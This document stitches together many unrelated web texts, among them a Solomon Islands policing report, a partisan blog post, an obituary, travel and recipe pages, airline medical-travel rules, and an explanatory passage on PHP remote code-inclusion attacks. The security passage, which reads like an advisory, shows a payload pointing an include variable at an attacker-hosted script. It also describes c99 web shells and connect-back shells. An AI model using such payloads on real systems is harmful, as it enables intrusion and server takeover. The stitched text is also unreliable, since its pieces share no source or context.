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People living in the Western Province have expressed support for the staged limited rearmament of the Royal Solomon Islands Police Force (RSIPF) being proposed by the Solomon Islands Government (SIG).
The support was expressed during community consultations on the project held at Gizo by a delegation made up of representatives of the Ministry of Police, National Security and Correctional Services; the RSIPF and the Regional Assistance Mission to Solomon Islands (RAMSI) on 21 March 2016.
The delegation met with the Western Provincial Supervising Premier, Hon. Malloney Lopoto and Provincial Speaker, Richard Tekifono; about 200 members of the public from the nearby islands, including students from the Kukundu Adventist College on Kolombangara, and a separate meeting with community and women leaders nearby villages.
Aside from the discussions on the staged limited rearmament of the RSIPF, the delegation also briefed the meetings on initiatives being implemented by the Force, including the Crime Prevention Strategy, the Family Protection Act as well as efforts to improve standards and discipline within RSIPF. The same issues were discussed during a muster of RSIPF officers at the Gizo Police station.
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While expressing support, the people in and around Gizo asked the Government to consider the following issues as the staged limited rearmament proceeded:
- the physical fitness of RSIPF officers, not just their capacity to use the firearms, so they could deal with criminal elements;
- The responsiveness of the armed RSIPF units to calls for assistance;
- The discipline of the members of the RSIPF; and
- Stationing the armed police in Gizo or along the common border with Papua New Guinea given the intermittent presence of individuals in border communities with access to firearms.
The results of this and other community consultations on the staged limited rearmament of the RSIPF will be an important consideration in the SIG's decision to re-arm the RSIPF. The consultations started in 2014 and have been held across the country. This is the second time that consultations have been held in the Western Province.
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The project is described as a 'staged limited rearmament' because each stage must be approved by SIG, and rearmament is limited to three specialist functions of the RSIPF – the Police Response Team (PRT), Close Personal Protection(CPP), and armed police at the Henderson international airport. Other police including the RSIPF patrol boats and maritime unit, will not be rearmed as part of this project.
At the request of SIG, the RAMSI PPF has been providing training to selected members of the specialist police units since 2014 including on the responsible use of police firearms. RAMSI has also helped the RSIPF to develop strict policy and procedures to govern an armoury and the issuing and safe-keeping of police firearms.


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We noted here Barack Obama's effort to drum up a criminal prosecution of those who disagree with him politically. The prospect of such a man in control of the Department of Justice is sobering, to say the least. Another instance of the Democrats' effort to suppress inconvenient First Amendment rights occurred in Denver today, when policemen arrested an ABC newsman, Asa Eslocker, whose camera crew, on a public sidewalk, was photographing Democratic Senators and VIP donors leaving a private meeting at the Brown Palace Hotel.
If you follow the link above, you can see shocking footage of the ABC reporter being arrested for crossing the Democratic Party.
Will expressing conservative political opinions and taking pictures on a public sidewalk–pictures that are inconvenient for the Democratic Party–result in jail terms when Barack Obama is President? If Obama has his way, the answer appears to be Yes.
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As a campus focal point and a physical embodiment of the faith- based spiritual mission for Thomas More College, the Chapel design emphasizes both the vertical connection to God and the horizontal connection to the campus and community. Based upon radiating circles, like ripples in a pond, the design centers on the altar, representing Christ's sacrifice and marking the spiritual heart of the campus. The radiating circles imply the impact of Christ outward into the community through the Thomas More students. The ceiling soars to a high point over the altar with radiating seating focusing toward the altar. The Chapel was oriented for maximum north light to allow worshipers to be able to have a visual connection with the sky and surrounding landscape. At the entrance to the Chapel, a bell tower faces the open lawn and calls upon the tradition of both churches and college campuses to mark an important place with the sound of bells, held high to transmit across the campus. At the peak of the bell tower, a 15-foot tall cross highlights the tower and identifies the Chapel as a place of worship. The Chapel's materials were chosen for warmth and longevity, using exposed brick and wood to relate to the Thomas More campus. With seating for 310, the Chapel provides an intimate setting for individual prayer and reflection, community worship, as well as weddings. The heating & cooling system incorporates an energy efficient geothermal system. An exterior amphitheater provides an informal gathering place for students and staff. This Chapel will be the place to remember and celebrate the mission and ministry of Thomas More College.
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A remote code-inclusion attack works similarly; for example the following PHP code:
include "$librarydir/utils.php";
will include a PHP file into the currently executing script. Under certain circumstances, such as the configuration item register_globals being enabled, an attacker may be able to change the value of the variable $librarydir. (Register_globals means that PHP will automatically initialize variables from HTTP GET parameters without the programmer's intervention.) Some configurations of PHP allow the inclusion of code specified by a URL rather than a local file name. The attacker exploiting this vulnerability may attempt to set $librarydir to a value such as
"http://184.108.40.206/evilscript.php". If the attack is successful the attacker gains control of the web application.
Remote code-inclusion attacks have occurred in a wide variety of PHP applications, notably the Mambo CMS. Typically the attacker includes a script that attempts to execute a command such as one fetching further malware. These utility scripts are often quite full-featured and some have integration with databases and allow the invocation of shell commands, sending of email and viewing of files on
the web server. See Appendices A and B for more details related to this type of attack. The vulnerability classes - remote code-inclusion and command injection - should be considered serious as they have resulted in a number of high profile worms attacking the following software:
PHPBB, reported December 21, 2004, attacked by the Santy worm.
AWStats, PHPXMLRPC, WebHints reported November 7, 2005, attacked by the Lupper worm.
Mambo, reported December 6 2005, attacked by the Elxbot worm.
Mambo, PHPXMLRPC, reported February 20, 2006 and attacked by the Mare worm.
An example attack we observed against Mambo CMS is as follows. Again, it is simply a malicious HTTP GET request, exploiting the vulnerability described in Secunia Advisory #14337 :
This has the effect of executing the script of the attackers choosing, here 'http://192.168.57.112/~photo/cm' - the exact operation of the exploit against the vulnerability can be seen in 'Mambo Exploit' in Appendix A. In this case, the included file is a 'helper' script which attempts to execute the operating system command given by the 'cmd=' parameter. Here the commands given would cause the helper script to be written over the 'index.php' file and the details of the operating system and IP address to be sent to two email addresses. The attackers could then revisit the vulnerable systems at a later date.
An example of a particular helper script, the c99 shell is given in Appendix B, but such scripts typically allow the attacker to execute operating system commands and browse the file system on the web server. Some more advanced ones offer facilities for brute-forcing FTP passwords, updating themselves, connecting to databases, and initiating a connect-back shell session.


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May 15, 2013
Over the past several weeks some media outlets have grossly misinterpreted press releases and results from a clinical trial that occurred
in Denmark. These media claimed that a team of Danish scientists stated that an HIV cure was imminent. Unfortunately, these incorrect
internet news stories have unfairly raised hopes. Now, in an attempt to correct the misinterpretations of their data, the Danish
scientists involved in that work have issued a very clear press release stating that, while their work has exciting
potential, " we are not on the brink of an HIV cure ."
The good news is that funding agencies in several high-income countries, including Canada, Australia, Denmark, France, the UK and the U.S., are planning or already
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Bear in mind that such research is extremely complex, time-consuming and, depending on the protocol involved, potentially risky for
volunteers. Indeed, attempting to cure HIV is an extremely challenging endeavor. Due to all of these factors, and in the absence of a
lucky accident or breakthrough, it is not likely that there will be a simple, cheap and widely available cure within the next 10
years. Furthermore, Danish researchers recently predicted that it might take "many years" before a cure is finally ready.
During the coming decade, scientists hard at work trying to cure HIV need our encouragement because of the difficulty of this endeavour,
and funding agencies need to demonstrate long-term commitment, as developing a safe, effective and simple-to-administer cure will take time.
There will be advances made on the path to a cure but, as with any other great bio-medical quest, there will likely be setbacks.
Due to the complex nature of HIV cure research, we encourage our readers to treat future media stories that claim to have news of an HIV cure
with a healthy degree of skepticism. Furthermore, any claims of a cure need to be verified by other scientists and critically examined. When
a cure is developed, CATIE will be sure to feature details about this on our website.
Teams of scientists in major Canadian research centres are hard at work trying to develop a cure for HIV. Initially such research involves
cells and HIV, and possibly some animal experiments, and takes place only in the lab.
Canada's premier scientific funding agency, the Canadian Institutes of Health Research (CIHR) in
collaboration with the Canadian Foundation for AIDS Research (CANFAR)
and the International AIDS Society is planning
to fund research to cure HIV . This
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As new discoveries are made, clinical trials to test ideas for trying to cure HIV will occur in the future. To find out more about
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Mary Willett died January 7, 2013
Mary M. Willett, of Heber Springs, Arkansas, died January 7, 2013. She was born July 30, 1926, in Austin, Texas. She was of the Catholic faith. Mary retired from St. Vincent's then worked in nursing homes, caring for the elderly. She was always helping her neighbors, and loved animals.
She is survived by her brother, Eddie Lewis (Jackie) of Conway; daughters, Gail Carl Lee (Ed) of Heber Springs, Kathy Hay (Danny) of Mayflower; sons, Richard Azar (Chris) of Del City, Oklahoma; Robert A. Willett of Pine Bluff; 8 grandchildren, 13 great-grandchildren, 11 great great-grandchildren; and a number of nephews and nieces.
Graveside service for Mary will be 2:00pm, Sunday, January 13, 2013, at Pine Crest Memorial Park, Alexander, Arkansas, under the direction of Griffin Leggett Healey & Roth. 501-661-9111.
Please send the family your messages and condolences at www.griffinleggetthealeyroth.com.


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How Did She Do That Articles
Female celebrity maneuvers worthy of praise - see Katie Holmes!
Blake & Ryan's double date…with maybe Leo???
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Leonardo DiCaprio was at the amfAR gala in New York last night. So were Blake Lively and Ryan Reynolds. You remember Blake and Leo though, right? It was an entire summer of How Did She DO that? God I loved that summer. Click here for a refresher or you can revisit these photos below, of Blake and Leo in Verona, where we lay our scene… VERONA! Full Story
Old Blake/New Blake
So many of you yelled at me the other day after I posted this article of Blake Lively bike riding with Leonardo DiCaprio in New York for not pointing out her allegedly fake tits. Then even more of you started yelling about all the work she's had done to get herself to this level. Full Story


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What can of diet, a person with high pressure can have? Do you have come recepies for the all week or month to choose for this problem?
Generally people with high blood pressure are advised to have less sodium (salt), and to lose weight if overweight. Most fruits and vegetables are low in sodium and can be helpful with losing weight. For these and other reasons, eating more fruits and vegetables improves health. The recipes here are all lower in sodium and contain lots of fruits and vegetables. The DASH diet, which has lots of fruits and vegetables, is specially for lowering blood pressure. You can find it here.


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Like much of the history of South Carolina's black community, stories of the 1st S.C. Volunteers -- the first official black regiment of the Union Army -- have been largely by word of mouth.
"Sometimes, you sit down and talk about things that have occurred here, and when you bring in people who are visiting or have moved into the area, they are truly amazed at what occurred," said Beaufort County Coroner Ed Allen, whose great-great-grandfather was a soldier in the regiment. "It's one of those things I'm proud that at least my ancestors passed on to me."
Part of that history will take more concrete form Thursday when the Beaufort History Museum unveils its "1st S.C. Volunteers: From Slaves to Soldiers to Citizens" exhibit.
"Beaufort is a very small place to have such big stories, and this is definitely one of those big stories," said museum board president Katherine Lang.
Also known as the 1st S.C. Colored Troops, the soldiers officially received their national and regimental colors and were accepted into the army on the same day the Emancipation Proclamation was read in Beaufort, on Jan. 1, 1863. Many were escaped slaves, and they had been considered "contraband" during the Civil War, Lang said.
The exhibit will run through December and include posters, photos, documents, weapon paraphernalia, a steamship model, replica uniform and other objects related to the troops, such as watch pieces that are believed to have been used by soldiers timing their weapons, Lang said. Beaufort Middle School students are creating an artistic Emancipation Oak for the exhibit, and children will be invited to write what the Emancipation Proclamation means to them on a paper-covered wall.
Artifacts came from, among other places, the museum's collection, the S.C. Carolina Historical Society and the Baptist Church of Beaufort, Lang said.
Still others came from land that was once the J.J. Smith Plantation, where Mossy Oaks is now and the 1st S.C. Volunteers once camped. Andy Holloway, 22, of Lady's Island used to live there. Fascinated with history and archaeology since middle school, he was captivated by the troops and their story.
A recent graduate of the College of Charleston with a bachelor's degree in history and a minor in archaeology, Holloway has spent hundreds of hours researching the 1st S.C. Volunteers for school and curiosity.
His research sparked the idea for the exhibit.
"It started as two panels," said Holloway. "Before I knew it, it grew into this major exhibit."
Holloway has been working on the exhibit with museum officials -- his mother, Libby, is the museum board's secretary -- and has included some of the vast research and stories he has gathered through interviews with people like the Allen family.
Sipping an iced coffee Friday afternoon, he enthusiastically shared story after story about soldiers like Sgt. Prince Rivers, who was born a slave in Beaufort. One of two flag bearers for the troop, Rivers was educated because of his position as a "privileged" slave, Holloway said. He enlisted after escaping, and among his duties was speaking with reporters and giving recruiting speeches.
Allen said he appreciates the enthusiasm and attention Holloway brings to this chapter of history.
"There's so much that went on here in Beaufort County that has been untold," Allen said. "... Little or no recognition was given to the black troops, to the colored troops' involvement in fighting for their freedom. History as it is written does not reflect what they did."


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Book Your Summer
June 17, 2011 at 1:20 pm cheriegraves Leave a comment
In conjunction with First Lady Ann Scott's recent announcement of the Summer Literacy Adventure, the Florida Department of Education and the Florida Department of Environmental Protection are encouraging students to head outdoors with a book from DOE's Just Read, Florida! 2011 Recommended Summer Reading List.
Reading, indoors or outdoors, no matter the season, engages the imagination of both children and adults. Reading is also a green activity.
Once produced, a book requires no additional resources to enhance its function. Books require no batteries, no chords, no chargers, no accessories, no electricity. Books do not require upgrades. Though sequels are sometimes produced, the original functions just fine without it.
Books require little maintenance. No fuel, oil, or hoses to refill, change or inspect.
Books are durable and can last under a bed for months, on a bookcase for decades, even centuries, and be just as functional as the day they were printed.
Books are easily shared. Books can be passed around to a multitude of friends and family members and still be read by yet another generation. Reading aloud is another green option for sharing a book with others, and doesn't require downloading an app.
Books are portable. They fit easily into a beach bag, carry-on luggage, backpacks and pockets.
Reading is powered by the human mind, and during the long days of summer, reading light is provided by sunshine. The grass doesn't get much greener.
Find more easy actions to stay cool and stay green this summer.
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NASHVILLE — Charles Esten cannot stop fidgeting.
An hour ago, the actor who plays Deacon Claybourne on ABC's "Nashville" — he's the smoldering singer-guitarist with the tortured, torrid past with country queen Rayna Jaymes (Connie Britton) — was just another patron at the 3rd and Lindsley nightclub, enjoying a beer, some grub, and the first set by the virtuosic Time Jumpers.
This jaw-dropping collective of Grammy-nominated Nashville music veterans — including superstar singer-guitarist Vince Gill in low-profile mode — has convened every Monday night for years to play some of the best country music you've ever heard. Recently, while the Globe was in town, we asked Esten to the Time Jumpers show to talk about playing a musician on "Nashville" while simultaneously enjoying the nightlife of the country music mecca as a fan and exploring songwriting and recording himself.
"There are three things going on in any given day," says Esten as he settles into his seat at the side of the stage. "Either I'm working on the show or I'm able to go home" to see his wife and children in Los Angeles. "And if it's not one of those two things, I've been trying to schedule a writing session."
The actor has been collaborating with some major songwriting names in country music, including Victoria Shaw (who has written for Garth Brooks), Trevor Rosen (the Band Perry), and Jeffrey Steele (Rascal Flatts). It was a performance by Steele in particular six years ago that inspired Esten to seriously pursue his songwriting.
"I've always wanted to be on a great TV show," says Esten. "But if one of my songs went out into the world and was enjoyed by people, and it came on the radio, I'd have to pull my car over and hyperventilate a bit. So it occurred to me if that [was the dream], I wasn't really acting as if it was. So I realized I needed to focus more and become more professional about it."
He then fortuitously landed "Nashville," which led him to write with Steele. "It's all come full circle," he says, admitting it's a fantasy to land a cut on a major artist's album. "Nashville" returns with new episodes next Wednesday at 10 p.m. on Channel 5
This immersion in music is a bit of life imitating art imitating life for the 47-year-old Pennsylvania native.
Esten began his career portraying Buddy Holly in London's West End and has played guitar and sung since he was a teen. While music has played a part in some of his roles — most memorably during his stint as "Chip" Esten on the improv comedy series "Whose Line Is It Anyway?" — as he flitted between the big ("The Postman," "Swing Vote") and small screens ("The Office," "Big Love") Esten has mostly played it non-musical.
As a lifelong fan of artists like Kris Kristofferson and Willie Nelson and newer discoveries like show consultant Buddy Miller, Esten is loving the convergence of his worlds, thanks to "Nashville" and the proximity it's afforded him to seeing shows in town, and performing on such venerable stages as the Ryman Auditorium.
As the band tunes up, Esten recalls his first reaction to seeing the Time Jumpers: "I didn't know that instrument could do that." This is his fourth trip to check them out, and many in the packed house are happy to be checking out the actor as well.
Much more cheerful than his oft-brooding character Claybourne, Esten laughs often, is prone to self-deprecating humor, and graciously greets and takes pictures with fans and chats with band members who stop by the table. Steel guitar player extraordinaire Paul Franklin stops by to praise his band mate Gill's recent appearance as himself on "Nashville." "He was so believable," quips Franklin. "Complete diva, though, on the set with his demands," replies Esten without missing a beat. "There was a makeup staff. It was more like a pit crew."
Soon enough, Gill stops over, calling Esten "my thespian brother." A big fan of the show, Gill is one of several musicians — including Chris Young, Pam Tillis, and Dan Auerbach of the Black Keys — who has made a credibility-lending cameo.
"That's been one of the cooler things for all of us," says Esten of the positive feedback from the music community. "Number one they watch, and number two, and more importantly, they like," he says with a laugh.
During intermission, Esten chats with more fans and fields a few more questions. When asked about the "Whose Line" reboot coming to the CW he says, "They haven't asked and I don't even know if I can. But would I like to work with those guys? Always." Of whether he's heard yet if "Nashville" is getting picked up for a second season, he replies with a smile, "Everybody asks. I feel like it's like asking 'When is he going to ask you to marry him?' " He answers in a goofy voice as the hypothetical bride. "I don't know, but he seems to like me, though."
Near the end of intermission, however, Time Jumpers fiddler Kenny Sears comes over to ask Esten if he'd like to join the band for a number during the second set. After some (admittedly heavy-handed) prodding from the reporter at the table, Esten agrees to sit in. And that's when the fidgeting begins.
"I can't believe I'm doing this in front of the press," Esten moans aloud with what sounds like genuine worry at one point, checking and rechecking song lyrics on his phone.
And then, as if on cue to make him even more nervous, Gill performs perhaps the most beautiful song of the night, a wrenching ballad that makes use of both his celestial warble and his mighty guitar skills.
Mercifully, the band launches into a jaunty instrumental after that tour de force. When we lean over and try to reassure Esten that the band is doing him a favor by putting space between him and Gill's performance, he deadpans, "They're only doing me a favor if this is the last song."
Of course, Esten had no need to worry.
When Sears does call him up to the stage he steps to the microphone and executes a flawless cover of the Hank Williams classic "Lovesick Blues," hitting each yodel, quake, and croon like the professional he is, and adding some pathos for good measure. Five seconds into it, the entire band is grinning from ear to ear that the Hollywood kid has got bona fides. The audience is hooting and hollering. And Esten is visibly relaxing. He's the real deal.
Afterward, he returns to the table and takes a swig of his beer with satisfaction. Life is good.
"I'm so out in front of what I dreamed right now that it's sort of ridiculous for me to continue planning."Sarah Rodman can be reached at
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Mediterranean Turkey
Earth : Europe : Turkey : Mediterranean Turkey
Mediterranean Turkey (Akdeniz Bölgesi) is a region in Turkey. It occupies entire southern coast of Turkey and some places more inland.
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Mediterranean coast of Turkey is mostly a narrow strip of land squeezed in between pine-covered Taurus Mountains (Toros) and the Mediterranean Sea. Having speared from pollution thanks to the lack of heavy industry, besides lying under one of the sunniest skies of Europe in addition to the rich art and history makes the region top tourism destination in the country.
Home to a number of ancient civilizations, namely Lycia, Pamphylia, and Cilicia west to east, Mediterranean Turkey was captured by the Romans about a century before the birth of Christ. After a brief occupation by the Crusaders on their way to Jerusalem, as evidenced by a number of Crusader-built or -expanded citadels mainly on the eastern sections of the region, and a number of Crusader-backed Armenian kingdoms, Turkic Seljuqs seized the region. It was during this era when the ancestors of most of the region's locals poured in from Central Asia as nomadic tribes. Some still keep the tradition to this day, wintering on the warm coast and heading for heights of Taurus Mountains or plateaus of Central Anatolia more inland to the north when summer approaches with their goat and camel caravans. Seljuqs were later replaced by Ottomans in around 1400s.
As expected, Mediterranean Turkey enjoys the typical Mediterranean climate: the temperature can go above 40°C in rainless—and even cloudless—summers, while the rest of the year is quite rainy, although winter lows rarely go below +5°C and snowfall is virtually unknown in the region (except the tops of the quite high mountains close to the coastal strip, of course). The season with the highest amount of rainfall is winter (more or less limited to late October through early April in this region) and can be accompanied by strong winds, to the point of storms, in the localities close to the shore, especially around Antalya.
Water temperature of the Mediterranean Sea is around 28°C during summer, i.e. May through October.
The region is home to a plethora of Turkish dialects, from Muğla şivesi, some of which is totally incomprehensible for non-local Turks spoken in Western Lycia to the dialect of Mersin Province, which is essentially a mainland "extension" of Cypriot Turkish. Syrian dialect of Arabic is also prevalent around Antakya.
However, thanks to heavy tourism, English will likely be enough to communicate during your trip, especially in the western parts of the region (i.e. Antalya Province and Western Lycia) and especially if you don't intend to go off the beaten path. German, Russian, and Scandinavian languages may also be helpful, especially when you visit one of the resort towns mainly frequented by those nations.
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By car
The highway D400, which closely follows the shoreline of Turkish Mediterranean from one end to another, is the main road of the region. While most of it is very wide (at least 2 lanes per direction) and in a very good condition, some sections are very winding and narrow such as the section between Alanya and Silifke. There are other roads, such as D650, which connects more inland regions (Lakes District) with the D400, thus the coastline.
While local cuisine traditionally embraces goat meat, which is less common to the much of the rest of the country and may lead to stomach trouble to who are unaccustomed to it, restaurants in touristy towns frequently feature more familiar treats. Fish restaurants abound in seaside towns, while typical Turkish fast food döner and the like is common in bigger towns and cities. Adana in the east is known for its own style of kebabs (Adana kebabı), while cuisine of Antakya to southeast, being culturally a part of neighbouring Syria, features highly delicious and partially vegetarian (or even vegan)-friendly Middle Eastern fare.
A great way to reduce your bottled water costs in this hot region is to use free cold water dispensers, locally called sebil (pronounced say-beel), which can usually be found on the sides of the streets and mosque courtyards in less-touristed towns and neighbourhoods in the region. They look like small, white refrigators and usually have two faucets: red one delivers warm (or mildly hot depending on the weather) water, while the blue one offers comfortably cold water. Though the water coming out of the faucets is not from a commercially-bottled jar, and likely from the city water network, it's harmless and causes no stomach upsets. A way to reduce the risk may be allowing yourself a week after arrival in the region to get accustomed to local microflora and -fauna that may be present in the water and then taking full advantage of sebils.
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Spend this Thanksgiving filling your belly with delicious food without the heaping side of guilt! Simply replace 3 traditional Thanksgiving dishes with 3 healthier versions!
This version of Thanksgiving dinner saves you more than 230 calories, 20 grams of fat, over 100 mg of cholesterol and 600 mg of sodium, and is gluten-free!
Let's start with those creamy, dreamy mashed potatoes everyone loves so much!
Substituting Mashed Sweet Potatoes for Traditional Mashed Potatoes will save you fat, calories, sodium and cholesterol, while also adding health benefits!
Mashed Sweet Potatoes (Per Serving – ½ Cup)
- Calories: 100
- Fat: ½ gram
- Sodium: 40 mg
- Cholesterol: 0 mg
Traditional Mashed Potatoes (Per Serving – ½ Cup)
- Calories:120
- Fat: 4.5 grams
- Sodium: 333 mg
- Cholesterol: 23 mg
*This dish also packs a ton of Fiber, Vitamin A and Vitamin C, BONUS!
Now on to another side dish that everyone loves, the Green Bean Casserole, filled with sodium-loaded soup and topped with deep-friend onion strings.
Substitute the delicious flavors of lemon and garlic into the green beans for a much healthier (and in my opinion tastier) version of the classic side dish!
Garlic Lemon Green Beans (Per Serving – ½ Cup)
- Calories: 87 calories
- Fat: 7 grams*
- Sodium: 340 mg
- Cholesterol: 0 mg
Green Bean Casserole (Per Serving – ½ Cup)
- Calories: 150
- Fat: 9 grams
- Sodium: 900 mg
- Cholesterol: 0 mg
*All of the fat in the Garlic Lemon Green Beans comes from olive oil, which is a monounsaturated fat, also known as "good fat", that helps lower cholesterol and reduces the risk of heart disease.
Now on to the main dish, the turkey of course! While cooking an entire turkey makes for a beautiful display, the portion with the least calories and fat is the white meat, so save yourself the time (and calories) and simply cook a turkey breast instead!
Herb Crusted Turkey Breast (Per Serving – 1/2 lb.)
- Calories: 350
- Fat: 16 grams
- Sodium: 330 mg
- Cholesterol: 110 mg
Herb Crusted Dark Meat Turkey (Per Serving – 1/2 lb.)
- Calories: 504
- Fat: 30 grams
- Sodium: 376 mg
- Cholesterol: 195 mg
Wishing everyone a happy and healthy Thanksgiving!


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"The Square"
From Australia comes a thriller that has folks trying to out-do one another in praising it, drawing comparisons to "Body Heat" and the Coen Brothers. It's in limited release April 9.
We don't waste our time on anything not worth your time. We celebrate the best of what's coming on film and TV. We cheer when our expectations are met and criticize when we're let down.


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Though modern aircraft operate mainly at altitudes between 25000 - 45000 ft, the cabin is pressurized to maintain an altitude between 5000 - 8000 ft, thereby overcoming most of the physiological problems encountered at such high altitudes. This is one of the features of air travel that makes it so suitable for the rapid transport of seriously ill patients. However, one should realize that the environment of flight is unnatural to man and thereby imposes considerable demands on the body systems.
Click here to download the MEDIF form.
When assessing a patient's fitness for air travel, the effects of reduced atmospheric pressure and consequent reduction in oxygen tension must be considered. Even if pressurized aircraft the cabin pressure will be equivalent to an altitude of 5000 - 8000 feet. Although each case will be considered on its merit, the following guidelines are laid down for the treating physicians reference
Critical heart and respiratory conditions (e.g. decompensated cardiac patients / patients with severe valvular disease / unstable angina / significant cardiac arrhythmias / severe asthma) are usually not permitted to fly. Patients with recent coronary occlusion with myocardial infarction are normally not permitted to fly within 10 days if uncomplicated. Patients who have undergone angioplasties are usually allowed to fly only after 4 days if asymptomatic. Cases of uncontrolled severe hypertension are not allowed to fly. Patients with severe bronchitis, emphysema, other conditions where respiratory exchange is compromised or may be affected by the hypoxia are permitted to fly only if arrangements are made for supplemental oxygen for use in flight and are accompanied by a medical escort. Patients with active open tuberculosis / untreated pneumothorax are not permitted to fly. Cases with tracheostomies are permitted to fly only if accompanied by medical escort and suitable equipment.
Introduction of air into body cavities for diagnostic / therapeutic purposes are allowed to fly only after 5 days of uncomplicated recovery following the procedure.
Cases of acute, major psychiatric disorder are allowed to fly only if sedated and accompanied by medical escort.
CVA / Head Injury - Permitted only after 5 - 14 days if stable or improving along with nursing escort.
Severe cases of acute otitis media / sinusitis / post middle ear surgery permitted to fly only with ENT specialist's fitness certificate.
Patients with acute contagious / communicable diseases are not allowed to fly.
Patients with fractures of the Mandilble with fixed wiring of the jaws are not allowed to fly
POP casts should be bivalved in case flying is required within the first 48 hours of their application
Peptic ulceration with hemorrhage - not permitted within 10 days of onset, except when permitted by the treating consultant. Flying may be permitted after 5 days of a MINOR laparoscopic procedure, if uncomplicated recovery. Investigative laproscopy may be accepted >24 hours provided gas is absorbed.
Post-operative cases are usually not permitted to fly within:
10 days of abdominal operations
10 days of chest surgery
10 days of head surgery
All guests travelling for further treatment or surgery, will require to obtain clearance from our Medical Department, in addition to carrying a fit to fly certificate issued by the treating doctor.
Expectant mother may be accepted for travel provided that there are no prior complications.
Fitness to fly certificate from her treating obstetrician and the Company Medical Department clearance is not required.
Cases of multiple pregnancy / complicated single pregnancy are accepted till the end of 32 weeks, provided she is in possession of fitness to fly certificate from her treating obstetrician. The Company Medical Department clearance is also required.
Expectant mother with uncomplicated single pregnancy may be accepted for travel provided that there are no prior complications.
Fitness to fly certificate from her treating obstetrician is required. The Company Medical Department clearance is not required.
Cases of multiple pregnancy / complicated single pregnancy are not allowed.
Expectant mother with uncomplicated single pregnancy may be accepted for travel provided that
she is in possession of fitness to fly certificate from her treating obstetrician, specifying the number of weeks
of pregnancy and is also accompanied by at least an MBBS doctor. The Company Medical Department clearance is also
Not Allowed
Expectant mother with uncomplicated single pregnancy may be accepted for travel provided she is in possession of a fitness to fly certificate from her treating obstetrician, specifying the number of weeks of pregnancy; Company Medical Department clearance is not required.
Cases of multiple pregnancy / complicated single pregnancy are accepted till the end of the 32 week, provided she is in possession of fitness to fly certificate from her treating obstetrician. The Company Medical Department clearance is also required.
Expectant mothers (in relevant cases) are required to provide a medical certificate stating the following:
Fitness to travel
Number of weeks of pregnancy
Estimated date of delivery
Absence of complications (past or present)
Note: The certificate must be available on request and should be carried with you at the airport and during the flight in your cabin baggage. Please note that for your safety, if you choose not to carry a medical certificate, Jet Airways reserves the right to refuse boarding.
Guests are allowed to fly after 48 hours of normal delivery provided they have medical clearance. Newborns are not allowed to fly in the first 7 days of life, unless they are medically cleared by the treating neonatologist and are accompanied by at least an MBBS doctor.
Patients with Deep Vein Thrombosis should not fly till patient is stabilized on anticoagulant therapy and there are no pulmonary complications
Patient with severe anemia (Hb < 9.5 gm/dl) are not permitted to fly. However in exceptional cases, they may be permitted to fly with specialist's certificate.
Patients with uncontrolled Diabetes Mellitus are not permitted to fly
Patients with impaired mobility should be provided with diapers / condom / indwelling catheters
Flying is not permitted for 3-6 weeks following surgery for Retinal detachment
In all cases where your fitness to fly is in doubt, please consult your treating physician prior to making the reservation. Full consultation with the airline's medical department well before the flight is important, if inconvenience / health risk to the patient / others is to be avoided. Knowledge of the principles involved and the facilities available, combined with co-operation between the guest, his / her treating physician and the airline's medical department will ensure that almost all such guests travel safely and with minimum inconvenience.
Special Note: A recently completed MEDIF form (within 10 days of the schedule date of the guest's initial departing flight ) must be submitted to the Jet Airways Medical Department at least 48 hours prior to schedule departure date. Jet Airways' doctor's decision regarding fitness of guests to fly / requirement of medical escort will be final. If at time of embarkation the condition of the guest has further deteriorated, carriage may be refused. Any case, which Jet Airways feels might jeopardize the safety or operation of the aircraft, will not be accepted. Patients with symptoms likely to worsen during flight / cause distress or inconvenience to other guest will not be accepted. MEDIF Forms for all medical cases will have to be sent to our Medical Dept for approval.
In case of uncertainty, the Jet Airways doctor / other doctor nominated by the company may require to examine the guest and evaluate his medical records prior to giving his final decision on fitness to fly.
Guests are requested to carry all medications that they may require inflight in their hand luggage. Guests who have a medical condition are also requested to carry all details regarding their illness (including hospital discharge cards, treatment details, relevant medical history details, doctor's certificates, etc) as well as the recommended treatment in case of an anticipated emergency, in their hand luggage. It is not possible for cabin crew to refrigerate guest's medications, and if this is required, guests should carry their own cool bag or vacuum flask.
The attendant should ensure that all items / medical equipment brought on the aircraft by the patient (needles, syringes, unused medication) are removed at the time the patient is disembarked from the aircraft.
Inform our reservation staff at the time of reservation that the guest travelling is a medically ill guest. The MEDIF Form has to be filled by the doctor treating the guest. Click here to down load the MEDIF form.
The completed MEDIF Form and a detailed certificate from the doctor, certifying other relevant medical information of the patient's illness / condition should be emailed to our Jet Airways doctors at numbers below
For your information Jet Airways doctors are stationed at:
+91 22 6685 4425
+91 11 4963 7954
+91 44 2256 8009
+91 33 2511 1359
+91 80 6678 4577
+91 20 6685 591
+91 20 6685 592
+91 20 668 593 (Airport Manager)
+91 40 66602733
Approval of the MEDIF FORM is to be obtained from our doctors at the nearest office as mentioned above. E.g. for a guest traveling Bhuj - Mumbai - Cochin, MEDA clearance should be obtained from the Jet Airways doctor in Mumbai.
Only after obtaining clearance from our Jet Airways doctors can the guest be booked and then accepted for travel Click on the relevant form to download them:MEDIF Form
If the guest needs to travel on a stretcher, please refer the section on stretcher.
MEDA passengers will be accepted for travel only if found 'fit to travel' at the time of check-in. Prior clearance does not guarantee carriage if the condition of the guest has deteriorated after clearance has been obtained.
Click here for the frequently asked questions on medical emergencies.
Cases requiring uplift of additional oxygen cylinders should submit the duly filled MEDIF form at least 48 hours in advance, so that the necessary arrangements can be made. Personal oxygen cylinders are not permitted on the aircraft, however ventilators / oxygen concentrators may be permitted on the aircraft after acquiring prior engineering and security clearances.
Limited number of oxygen cylinders are available in the aircraft for use in emergencies. Additional therapeutic oxygen can be provided on request only if 48 hours advance notice is given. Note: Aircraft oxygen cylinders can deliver oxygen only at fixed flow rates of 2 or 4 litres / minutes.
Due to safety reasons, personal oxygen cylinders will not be carried on board the aircraft.
Cases requiring oxygen should be accompanied by an escort who is familiar with the procedure of administering oxygen, or by a qualified nurse / doctor.
Elite cylinders supplying oxygen on demand are available on our Boeing 777 and Airbus 330 aircraft. If such oxygen supply is deemed fit for the patient's use by the treating physician, the same may be prescribed by clearly indicating the request in the MEDIF form. To know more click here
Charges will be applicable for the oxygen bottles provided on board. Please find below the details:
Only In-Flight oxygen will be provided; guests will have to make their own arrangements for oxygen on-ground / in transit.
These charges will also apply to guests using stretchers and requiring oxygen.
This is applicable only on 9W operated flights. For interline and codeshare, the Operating Carriers' rules will apply.
JN tax will be levied on all service charges wherever applicable.
Guests who wish to claim refund for unutilised oxygen cylinders are requested to write to us at email@example.com
